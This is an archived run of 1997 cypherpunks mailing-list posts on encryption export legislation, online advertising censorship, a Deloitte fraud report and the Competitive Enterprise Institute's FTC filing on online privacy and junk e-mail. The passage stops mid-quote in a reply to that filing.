> Date: Thu, 24 Apr 1997 18:17:09 -0400
> To: fight-censorship-announce@vorlon.mit.edu
> From: Declan McCullagh <declan@well.com>
> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup

> It also creates new criminal penalties for using encryption to
> further a criminal act ...  Remember that Maryland bill that would
> criminalize sending "annoying" or "harassing" email? If the
> Goodlatte bill became law, Marylanders who signed their messages
> with PGP or telnetted to local ISPs could be slammed with an
> all-expenses-paid trip to the Federal pen for five years ...  In
> other words, SAFE would turn state misdemeanors into Federal
> felonies.  This is not good.

Ok.  So it's kind of bad in this respect, but let's face it ... we
can't have everything OUR way, the FIRST time around.  Washington
politics is just not that way (not that you need such a reminder).

> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
> the bill but expressing concern over the criminalization provision.
> Interested in signing on? Email David Sobel: sobel@epic.org.

Let's let the legislative process (whatever you think of it) take its
course.  I'll be happy even if they sneak some screwy secret committee
on the final bill, as long as we are not subject to that committee or
any other governmental body just because we allow ftp of C source code
by our off-shore friends.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Apr 1997 14:27:07 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <Pine.GSO.3.95.970424163313.23480J-100000@well.com>
Message-ID: <3.0.1.32.19970425112019.0063ddd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3953.1071713694.multipart/mixed"

--Boundary..3953.1071713694.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 04:33 PM 4/24/97 -0700, Declan McCullagh wrote:
>The Center for Media Education is trying to accelerate this process. In a
>fearmongering report earlier this year, the group demanded that a slew of
>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>"urgent agction" to "protect" America's children from tobacco and liquor
>advertising online.

Sigh.  Guess we'll have to do another information-logo-on-web-page campaign.
The real question is whether we should be in-your-face about it
and use a Joe Camel icon for the "Fight Commercial Censorship" campaign,
or something civilized like the many beer and wine company logos on the net.
"Fight censorship on the net - have a Beer!"  Would Mr. Butts be available?

Meanwhile, back on Television, the "We know what's best for you"
program ratings are getting panned by everyone.  I almost wonder if the
TV moguls decided to do a deliberately unsatisfactory rating system
rather that giving the censorship people the amount of control they want?
The proposed "sex/violence/language" ratings left out an important category
many parents would like in deciding what their kids can watch -- "Greed".  
And neither the proposed nor the enacted systems rates commercials....
So you won't be able to set that V-Chip to auto-block commercials.
PYRBBROW.GIF



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)

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IsUe0wsCADsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
--Boundary..3953.1071713694.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 25 Apr 1997 18:27:04 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Alternative Reality
Message-ID: <199704251130.MAA15499@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Introducing... the Alternative Reality Issue of Shift Control.

This week:

"Inject it a number of times over a period of several hours and you will 
experience what psychology textbooks refer to as an "out-of-body experience". 
This is a recurrent theme in descriptions of the ketamine experience - the 
mind, spirit or soul leaving the body... Ketamine has similar mental effects 
on some animals - especially monkeys, who have been observed trying to swot 
non-existent flies while under its influence." - Alex Bellos on ecstasy's 
latest rival

"Only sleep, books and disk storage mechanisms, with computers becoming our 
third lobe, allow us to cope with a world of accelerating travel and electronic 
communication. But these extensions to the human brain capacity will ultimately 
become inadequate, and so we might consider something new: the prospect of an 
implanted third lobe." - Peter Cochrane on building alternative human realities 
through technology

"'Bud Hopkins, psychiatrist and expert on alien abductions' - just the man's 
name got me salivating. My brain whirred with associations. Bud equals Yank, 
Yank equals alien, alien equals cool... 'Did you see that bit in episode 27 
when you could see Scully's cleavage as she e-mailed Mulder?' a voice whispered 
near to me. It was clear that experts in alien abduction were not to be messed 
with." - Leo Hickman on the fourth annual UnConvention of paranormal phenomena

Also this week: a squeaky clean way to play with yourself in the bath, a chance 
to write your own film reviews, more memoirs from Freebee the bee, £200 up for 
grabs in another short story competition, and a chance to win dinner for two at 
your favourite curry house.

Shift Control: altering your perceptions of the net and waiting for you now at 
http://www.shiftcontrol.com

--------------------------------
Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry.

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Apr 1997 10:01:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fraud Without Frontiers
Message-ID: <1.5.4.32.19970425170010.0086e8c4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


FT reports on a new Deloitte & Touche report, "Fraud 
Without Frontiers" on the EU "fraud paradise." It sees 
10 areas of concern:

  "Computer abuse, banking frauds, counterfeiting,
  investment fraud, confidence tricks, public sector
  fraud, fraudulent bankruptcy, insurance fraud,
  smuggling and money laundering.

  The largest single threat comes from fraud through the
  Internet. The potential for abuse of computer systems
  is huge, particuarly since encryption technology is
  vulnerable to sophisticated computer users. The Internet
  is now being used to manipulate financial markets.

  Fraudsters are becoming more sophisticated. Inside dealers
  are making more use of offshore havens to avoid detection
  while criminal syndicates with knowlege of banking
  practice have cheated banks.

  'Offshore havens', some inside the EU, remains a common
  feature of fraud. But with some EU economies closely
  linked to the offshore world, the incentive to push for
  reform in this area is limited"

The report is available from D&T-UK for L95. (Hint, send)

  http://www.deloitte-touche-consulting.co.uk/main.html

-----

D&T has a Web page, "Taking the Mystery Out of ..." which
gives solace about encryption, passwords, firewalls, 
kerberos, and such:

  http://www.dttus.com/dttus/publish/mystery/mystery1.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 25 Apr 1997 11:12:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Deloitte-Touche: Fraud and the Net
Message-ID: <v03020932af869cbff9ee@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: oldbear@pop.tiac.net
Date: Thu, 24 Apr 1997 19:06:41 -0400
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: The Old Bear <oldbear@arctos.com>
Subject: Deloitte-Touche: Fraud and the Net
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: The Old Bear <oldbear@arctos.com>

FRAUD AND THE NET

A Deloitte & Touche report commissioned by the European Union
says that cross-border fraud involving Internet abuse, banking
and investment frauds, and smuggling is costing society
$77 billion a year.  The report suggests that perhaps the
largest single threat comes from fraud through the Internet,
because encryption technology remains vulnerable to
sophisticated computer vandals.

source: Financial Times
        April 24, 1997


Anyone have a pointer to the full report or a more detailed
abstract?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"...Wells Fargo's on-line banking sucks dead gerbils
through a dirty garden hose." -- Eric Murray
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Apr 1997 13:01:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Tim's Tag Bi-Line
Message-ID: <1.5.4.32.19970425195754.008a4fe8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.

----------

In response to Tim's tag line and to BXA's claim (twinned
by NSA, FBI, CIA and DoJ) of training Janus crypto-narcs to
snare dual-use miscreants:

http://guru.cosc.georgetown.edu/~denning/cosc511/

Information Warfare: Terrorism, Crime, and National Security

Prof. Dorothy E. Denning

This course will study the nature of information warfare, 
including computer crime and information terrorism, in 
the global information infrastructure as it relates to 
national security, defense policy, economic security, 
organizational security, and personal security. Students 
will gain an understanding of the threats and vulnerabilities, 
including military and economic espionage, denial of service, 
destruction and modification of data, distortion and 
fabrication of information, forgery, control and disruption 
of information flow, electronic bombs, and psyops and 
perception management. They will learn about attacks and 
countermeasures, including authentication, encryption, 
auditing, monitoring, and firewalls, and the limitations 
of those countermeasures. They will learn about cyberspace 
law enforcement and investigations, information warfare and 
the military, and intelligence in the information age. 
Information technology policy and ethics will be examined.

-----

This is not to single out the duality of Professor Denning/Mr. 
Denning. There are several similar dual-use courses being 
taught at civ-mi schools as market-wise institutions-governments
scramble for funds-taxes by promising results to job-needy
scientists-engineers and students-citizens.

Heed the dual-use market/cartel, be an infoartist/informer, an 
inside-lawyer/outlaw; practice selfless public archy, greedy secret
anarchy. That's the ticket for wise guys-gals, go either way as the 
bi-wind blows and stills.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 25 Apr 1997 17:00:07 -0700 (PDT)
To: Bill Stewart <declan@well.com>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <Pine.GSO.3.95.970424163313.23480J-100000@well.com>
Message-ID: <v03007805af87021d149b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:20 AM -0800 4/25/97, Bill Stewart wrote:

>Meanwhile, back on Television, the "We know what's best for you"
>program ratings are getting panned by everyone.  I almost wonder if the
>TV moguls decided to do a deliberately unsatisfactory rating system
>rather that giving the censorship people the amount of control they want?

Ah, but the likelihood is now greater that even more restrictive ratings
and censorship will be imposed. After all, when have you known statists to
back off simply because a policy doesn't work as promised?

>The proposed "sex/violence/language" ratings left out an important category
>many parents would like in deciding what their kids can watch -- "Greed".
>And neither the proposed nor the enacted systems rates commercials....
>So you won't be able to set that V-Chip to auto-block commercials.
>Attachment converted: APS 1GB Fireball:PYRBBROW.GIF (GIFf/JVWR) (0000F3F7)
 ^^^^^^^^^^^^^^^^^^^^^

I know I sound like a broken record, but these "attachments" are getting
out of hand. I periodically look at my attachments folder and find several
dozen or more various attached files...GIFs I'll never look at, Postscript
versions of postings to the list, binaries of programs for platforms I
can't possibly use, and even .WAV sound files. Arrgghhh!

(This GIF I opened...it appears to be a beer bottle with a star hanging
around the neck. Self-ratings of beer?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 25 Apr 1997 18:54:22 -0700 (PDT)
To: Ernest Hua <declan@well.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <199704260154.SAA14871@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:13 4/25/97 -0700, Ernest Hua wrote:
>> Date: Thu, 24 Apr 1997 18:17:09 -0400
>> To: fight-censorship-announce@vorlon.mit.edu
>> From: Declan McCullagh <declan@well.com>
>> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
>
>> It also creates new criminal penalties for using encryption to
>> further a criminal act ...  Remember that Maryland bill that would
>> criminalize sending "annoying" or "harassing" email? If the
>> Goodlatte bill became law, Marylanders who signed their messages
>> with PGP or telnetted to local ISPs could be slammed with an
>> all-expenses-paid trip to the Federal pen for five years ...  In
>> other words, SAFE would turn state misdemeanors into Federal
>> felonies.  This is not good.
>
>Ok.  So it's kind of bad in this respect, but let's face it ... we
>can't have everything OUR way, the FIRST time around.  Washington
>politics is just not that way (not that you need such a reminder).

I think you misunderstand the situation.  The government is in somewhat of a
disadvantage by virtue of the fact that there is relatively little
pro-censorship and anti-encryption legislation.  Absent such legislation,
the status-quo moves in a relatively free fashion, which is why the Internet
is mostly unregulated today.   


>> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
>> the bill but expressing concern over the criminalization provision.
>> Interested in signing on? Email David Sobel: sobel@epic.org.
>
>Let's let the legislative process (whatever you think of it) take its
>course.  

That's precisely what they want us to allow, and that's exactly why we
shouldn't accept it.  As Tim May has repeatedly pointed out, we are probably
better off with NO legislation than bad legislation, and all we've been
offerred so far this year is bad legislation.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 25 Apr 1997 19:55:12 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: New Crypto Panel
Message-ID: <199704260255.TAA00656@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:34 4/24/97 -0400, John Young wrote:
>Federal Register, April 24, 1997:
>
>DEPARTMENT OF COMMERCE
>
>President's Export Council Subcommittee on Encryption; 
>Notice of Establishment
>
>    The Secretary of Commerce has determined that the 
>establishment of the President's Export Council
>Subcommittee on Encryption is in the public interest in 
>connection with the performance of duties imposed on the 
>Department by law.
>
>    The Subcommittee will advise the Secretary, through the 
>Assistant Secretary for Export Administration, on
>matters pertinent to the implementation of an encryption 
>policy that will support the growth of commerce while 
>protecting the public safety and national security.
>
>    The Subcommittee will consist of approximately 25 members 
>to be appointed by the Secretary to assure a balanced 
>representation among the exporting community and those 
>Government agencies with a mandate to implement policy 
>regarding encryption.

Notice how the not-so-subtle biases sneak in.  "Balanced representation"?
What about the representation of the citizenry of this country?

And identifying something called "the exporting community" is also biased:
Implicitly, it means those firms which _do_ export crypto, which by
definition means those companies which are COMPLYING with the current crypto
export rules.  Naturally, that is a biased segment of the total potential
membership of that group, and will tend to skew the product of that group to
reinforcing the status quo as defined by government.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:01:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.GSO.3.95.970425200018.11752A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


[I'll forward some followup comments with the same Subject: line.
--Declan]

---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 19:30:35 -0400
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: CEI tells the Federal Trade Commission to be wary of regulation

Julie DeFalco from the Competitive Enterprise Institute, a libertarian
think tank here in DC, today sent me what her organization filed with the
FTC earlier this month. Below CEI urges the FTC to be "extremely cautious
in regulating the free flow of consumer information" online. The FTC will
revisit the issue of online privacy regulations this June. Some excerpts
from CEI's filing:

	Despite plenty of speculation, there has
	been no demonstration of significant
	actual harm resulting from the commercial
	collection of personal data over the
	Internet. This is not to say that all data
	posted on the Internet are good.  Quite
	the contrary.  For example, the government
	has made it difficult, if not impossible,
	to live in America today without a social
	security number. Congress has mandated
	that all states use social security
	numbers as driver identification numbers.
	And Departments of Motor Vehicles have
	been rather cavalier about selling the
	data collected, including social security
	numbers. That is why the outcry against
	Lexis-Nexis, which created a database of
	publicly available government information,
	was misplaced. [...]

        There is a tension between the notion that
	all interactions on the Internet ought
	to be private, and the fact that people
	go on to the Internet to communicate in
	public.  The reality is that going on to
	the Internet is like walking on a public
	street, with each Web page like a private
	store.  Each Web page has the right to set
	up its own conditions for entry. Such
	policies could range from a free-for-all
	data collection spree, to very strict
	information collection limitations. [...]

Read on for the complete document.

-Declan

**************************

April 15, 1997

Secretary
Federal Trade Commission
Room H-159
Sixth St. and Pennsylvania Avenue, NW
Washington, D.C. 20580

   Consumer Privacy 1997
   Comment P954807 and Request to Participate P954807

Dear Sir or Madam:

The Competitive Enterprise Institute and the National
Consumer Coalition hereby files comments on and a
request to participate in Session Two of the Federal
Trade Commission's upcoming public hearing on
"Consumer Privacy Issues Posed by the Online
Marketplace."

CEI is a non-profit, non-partisan free-market research
and advocacy group.  We have long been involved with
commercial free speech issues,  and we work on privacy
and Internet issues as well.  The NCC is a coalition
of nine consumer organizations interested in expanding
consumer choice in the marketplace.   Given the fact
that few, if any, other consumer groups are presenting
this viewpoint, we believe that our participation in
these hearings would assist the Commission in its
consideration of these issues.

Introduction

There are some central issues which must be resolved
before discussing the FTC's specific questions.

What is "privacy"?

With all of the discussion of privacy of commercial
data on the Internet, it is strange that no one has
actually defined the term.  The tendency is to rely
instead on an "I-know-it-when-I-see-it" approach.
Supreme Court Justice Lewis Brandeis said that privacy
is the "The right to be left alone - the most
comprehensive of rights, and the right most valued by
a free people."   Others say privacy is a result of
living in a large society where people do not know
each other's reputations and are not able to impose
social constraints on others' behavior.  "Privacy
grows as the number of strangers grows," wrote Steven
Nock.  "Privacy is one consequence, or cost, of
growing numbers of strangers."

The confusion surrounding the term privacy leads one
to conclude that "privacy" is like a Rorschach ink
blot - different people read different things into it.
 "Whenever an invasion of privacy is claimed, there
are usually competing values at stake."   In this
sense, privacy is not a right, it is a preference.

Much of what people want in the name of "privacy" is
that which they could actually achieve through
traditionally understood conceptions of property
rights and freedom of contract.  But when "privacy"
itself is set forth as an amorphous, floating concept,
it in fact threatens property rights and freedom of
contract.  It is this substitution of an ill-defined
"privacy right" for well-defined rights that threatens
the Internet.

What is the distinction between commercial data
collection and government data collection?

The restraints placed on government actions on the
Internet are rightly and necessarily stricter than
those placed on companies and individuals.
Restraining government action underlies our entire
political system, for the government has unique powers
of coercion.   Since government may fine, imprison,
and (in capital cases), execute citizens, there must
be very strict conditions under which government may
collect information about citizens.

Unfortunately, government has been less than exemplary
in this realm, and has repeatedly pushed the
boundaries of acceptable behavior.  For example, one
bill currently before Congress (H.R. 118) requires the
Attorney General to "acquire data about all stops for
routine traffic violations by law enforcement
officers."  The data include "identifying
characteristics of the individual stopped, including
the race and or ethnicity of as well as the
approximate age of that individual."  The irony of
calling in the government to protect privacy on the
Internet when it so cavalierly ignores it in other
realms is rich.

On the other hand, companies cannot impose an agenda
on private individuals the way the government can.
When they try to, there are civil and criminal laws
there to stop them.  Despite rhetoric about the
"power" of large corporations, all marketers can
really do is try to persuade people to buy their
products.  They do this through advertising.

Why is data collection so important for the Internet?

People have repeatedly demonstrated that they are not
willing to pay for content on the Internet.
Advertising Age magazine recently reported that only
25% of people polled were willing to pay to subscribe
to online publications.   Many subscribers to content
pages freely share their passwords with others.  "If
Web sites can't figure out how to halt the
free-for-all, a promising revenue source for on-line
businesses may be threatened."

Therefore, in order to develop, web sites will
increasingly depend upon advertising for support.
Indeed, "for most [Internet search] engines,
advertising has accounted for more than 90% of total
revenues.  Advertising will continue to be the primary
source of income for Yahoo! (and other search engines)
as they set up local content ventures."   America
Online has found it necessary to put advertising in
chat rooms to raise extra revenue (which was lost when
AOL introduced its flat rate monthly user fee).

At the same time, advertisers are still very hesitant
about advertising on the Internet.  "Where are the
marketers?" asked one Advertising Age editorial.   The
editor of Out magazine's web page, now defunct, was
quoted as saying, "advertisers aren't clamoring to get
on the Web - we have to beat them up to get on the
Web" (emphasis in original).   Anything which makes it
harder for advertising to work will have direct
effects on the quality and content of the Internet, a
very serious harm to Internet users.  In addition, it
will likely raise the cost to consumers of using the
Internet.

Is the issue "privacy," or is it really marketing?

Much of the rhetoric surrounding the privacy issue
concerns the purported power of advertising.  There is
a decades-old strain of thought which declares that
advertising is coercive and makes people buy what they
do not want.  This is untrue, as examples from the
Edsel, to New Coke, even to Nissan (which has a great
ad campaign but has seen no increase in auto sales)
show.  Unfortunately, many people do not fully
recognize the very real benefits consumers derive from
advertising.

Advertising's role in a market economy is essential,
and essentially benign.  Advertising lets consumers
know about price and quality information.  It alerts
consumers to the existence of new and improved
products.  It even saves consumers time by helping
them figure out what they do not want in advance of
shopping (e.g. a new car's styling is unattractive, or
it is too expensive).   Curtailing advertising limits
the availability of consumer information.

FTC Question 2.3: What are the risks, costs and
benefits of collection, compilation, sale and use
of personal consumer information in this context?

Despite plenty of speculation, there has been no
demonstration of significant actual harm resulting
from the commercial collection of personal data over
the Internet. This is not to say that all data posted
on the Internet are good.  Quite the contrary.  For
example, the government has made it difficult, if not
impossible, to live in America today without a social
security number.  Congress has mandated that all
states use social security numbers as driver
identification numbers.  And Departments of Motor
Vehicles have been rather cavalier about selling the
data collected, including social security numbers.
That is why the outcry against Lexis-Nexis, which
created a database of publicly available government
information, was misplaced.

The allocation of costs and benefits deriving from
data collection depends upon whom you ask.  Again,
privacy is a preference, not a universal right.  While
some may not like the very idea that data are being
collected about their consumption behavior, others may
not care at all.  Indeed, some consumers may not mind
how much information about them is available, if it
means they will receive only ads targeted to their
particular interests.  "Consumers don't mind
advertising and pay attention to it, as long as it
gives them something of value."

There is a tension between the notion that all
interactions on the Internet ought to be private, and
the fact that people go on to the Internet to
communicate in public.  The reality is that going on
to the Internet is like walking on a public street,
with each Web page like a private store.  Each Web
page has the right to set up its own conditions for
entry.  Such policies could range from a free-for-all
data collection spree, to very strict information
collection limitations.

It is important to note that since advertising depends
upon customer profile information, web pages which
take extra steps to protect privacy might be
relatively more expensive, and may have to charge a
premium.  If one individual prefers more privacy than
another, this is a reasonable situation.  It behooves
Web pages to clearly define the terms of entry.  As
for chat rooms and newsgroups, their entire purpose is
for people to communicate with each other.  Therefore,
people should not be surprised when third parties
collect information which they have already placed in
the public realm.

There are some very serious problems with the notion
that consumers somehow "own" information about
themselves which they have already released publicly,
or through a contract with a company.  Away from the
virtual world, people have repeatedly shown
willingness to give up their "valuable" personal data
in return for such things as rebates or coupons.  From
product reply questionnaires to supermarket shopper
clubs, people give out information all the time, often
automatically.  Even when it comes to the sale of
magazine subscriber lists, many people know about it
and often take advantage of deals offered by other
magazines and by marketers of certain products.

Some say that consumers ought to be reimbursed for
this sale of names.  But value is subjective, and, in
a market economy, a good offered for sale is only
worth what someone else is willing to pay for it.
Companies pay for the names because it saves them the
time and expense that it would take to collect the
publicly available information themselves.
Arbitrarily assigning a price to names, rather than
having it settled by negotiation through the market,
assumes that everyone agrees upon the value of a name.
As discussed above, this is not so.  Artificially
raising the price of a good (i.e. a name) through
regulation would surely decrease demand for it.  That
outcome might please many privacy advocates, but it
would hurt consumers in unseen ways, by limiting the
availability and circulation of consumer information.

If you release information about yourself, then that
information becomes part of the public realm. For
example, suppose you place an engagement announcement
in a local newspaper.  You do not "own" that
information.  That is, other parties can pick it up
and use it for, say, creating mailing lists of
newlyweds or brides-to-be. "The power to control
information about you is the power to control the
speech of others."

Even when it comes to implicit contracts - the selling
of magazine lists, for example - there is no reason
why it is incumbent upon the magazine seller to obtain
an affirmation from every subscriber before selling
their names. Rather, sensitive consumers ought to pay
attention to the fine print of their contracts.  They
can decline to contract in the first place, or
establish a set of  acceptable conditions, such as
requesting that their names be removed from mailing
lists.  Keeping names off of lists is a preference and
not a right.  Consumers who do not like this practice
have no right to impose their preferences on everyone.
 What goes for the real world should apply to the
virtual world.

The risks of this data collection by companies are
overstated.  The one exception is when collected
information falls into the hands of the government.
For example, an ice-cream shop culled names of
eighteen-year-olds from the store's birthday club and
sold the list to the selective service.   For these
customers, going into an ice-cream shop mean induction
in the army.

The costs and benefits of data collection are
different for every consumer.   Regulation would only
institutionalize a set of preferences, rather than
uphold rights.  It might be that companies ought to be
more explicit about their information collection
policies.  However, those companies which do take
extra steps in this regard frequently tout it.  In
short, those consumers most concerned about data
collection already have one way of satisfying that
preference, without resorting to government
intervention.

FTC Question 2.16: How widespread is the practice of
sending unsolicited e-mail?  Are privacy or other
consumer interests implicated by this practice?  What
are the sources of e-mail addresses used for this
purpose?

Unsolicited e-mail is very similar to junk mail in the
context of "privacy."  Many people find it annoying,
especially since junk e-mail shifts the cost from the
sender to the recipient, who pays in time and money.
However, enough people like it and take advantage of
it that the practice continues.  E-mail marketers
often harvest names through data mining - collecting
e-mail addresses from newsgroup posts and chat rooms.
It is clear that many consumers do not like this, but
it is not clear why this practice should be made
illegal, as opposed to being simply irritating.

As previously noted, people who venture out into those
chat rooms and newsgroups are going out into public.
E-mail put out into these areas is public property,
much as an engagement announcement would be.
Therefore, someone collecting lists of names and
sending out junk e-mails is acting perfectly
legitimately.  There is no way for a data collector
(or even another participant) to know in advance who
would like to hear about something or not.  The
combination of what is wanted and what is unwanted is
different for everyone.

Many people object to the costs of paying for unwanted
e-mail (e.g. charges per e-mail received, line charges
incurred while using the e-mail function).  That is
perfectly understandable.  But if you do not wish to
be put on a list, the responsibility is yours to avoid
it.  Fortunately, there are already  options
available.  Most of the major Internet providers -
AOL, Prodigy, CompuServe - already have banned junk
mailings.   This provision of what some see as a
valuable service is perfectly legitimate as well.  In
addition, AOL also permits people who participate in
chat rooms to use up to five false names.  Along with
the ease of finding anonymizers to surf the Web,
"going incognito" has never been so easy to do.

As the Washington Post aptly noted, "Psychologically,
the more interesting question is why folks who long
since gave up the attempt to stop mass telemarketing
or ordinary delivered-to-the-door junk mail find it so
much more immediately threatening to receive mail that
can be deleted at the touch of a button."

FTC Question 2.18: What costs does unsolicited
commercial e-mail impose on consumers or others?  Are
there available means of avoiding or limiting such
costs?  If so, what are they?

The wording of the question suggests that the FTC
believes that the primary cost of unsolicited e-mail
is "privacy."  Once again, "privacy" is a preference.
Therefore, junk e-mail is a cost only to those who
personally object to data collection.  It might be
useful to look at this situation in a different way.

Restricting data collection reduces the possibility of
target marketing.  Perhaps some consumers would be
happy to receive e-mail relating only to their
particular interests. As target marketing becomes more
accurate due to data collection, it would actually
reduce the amount of unwanted e-mail.  Sailing
enthusiasts would not receive gardening catalogs,
gourmands would not receive home improvement
information.

In addition, clamping down on data collection will
hurt smaller companies and non-profits, who might find
this data collection useful in finding new customers
or members.  Well-known non-profits, for example,
receive a great deal of publicity and exposure in the
general media; how many other, smaller groups would
like to find people interested in their work via the
Internet?

One of the biggest objections to data collection is
its awesome speed.  But this is not a sufficient basis
for regulation; it is an extension of objections to
data collection in general.  Combing a phone book
manually or by computer is essentially the same; the
latter just takes less time.  Use of data collection
technology makes information cheaper and more
available to a variety of groups, from non-profits to
associations dedicated to one or another hobbies or
interests.

Conclusion

At a minimum, the FTC should insist on a real and
significant showing of harm resulting from commercial
data collection, rather than rely upon claims of
consumer irritation.  The FTC should be extremely
cautious in regulating the free flow of consumer
information.  Any regulations are bound to have
unforeseen effects.  For example, the European Privacy
Directives have made it very difficult to exchange
employee information between branches of the same
company located in different countries.   Instead, the
FTC should confine itself to policing fraud and
investigating any actual injury.  As Esther Dyson put
it, "The goal is a market in privacy practices.  That
will result in constantly improving standards rather
than rigid ones set by law, and in decentralized,
speedy enforcement" (emphasis in original).


Julie C. DeFalco on behalf of the Competitive
Enterprise Institute and for the National Consumer
Coalition



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:01:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.GSO.3.95.970425200109.11752B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 20:11:37 -0500
From: Marc Rotenberg <rotenberg@epic.org>
To: declan@well.com, fight-censorship-announce@vorlon.mit.edu
Subject: Re: FC: CEI tells the Federal Trade Commission to be wary of regulation

At 6:30 PM -0500 4/25/97, Declan McCullagh wrote:
>Julie DeFalco from the Competitive Enterprise Institute, a libertarian
>think tank here in DC, today sent me what her organization filed with the
>FTC earlier this month. Below CEI urges the FTC to be "extremely cautious
>in regulating the free flow of consumer information" online. The FTC will
>revisit the issue of online privacy regulations this June. Some excerpts
>from CEI's filing:
>
>	Despite plenty of speculation, there has
>	been no demonstration of significant
>	actual harm resulting from the commercial
>	collection of personal data over the
>	Internet. This is not to say that all data
>	posted on the Internet are good.  Quite
>	the contrary.  For example, the government
>	has made it difficult, if not impossible,
>	to live in America today without a social
>	security number. Congress has mandated
>	that all states use social security
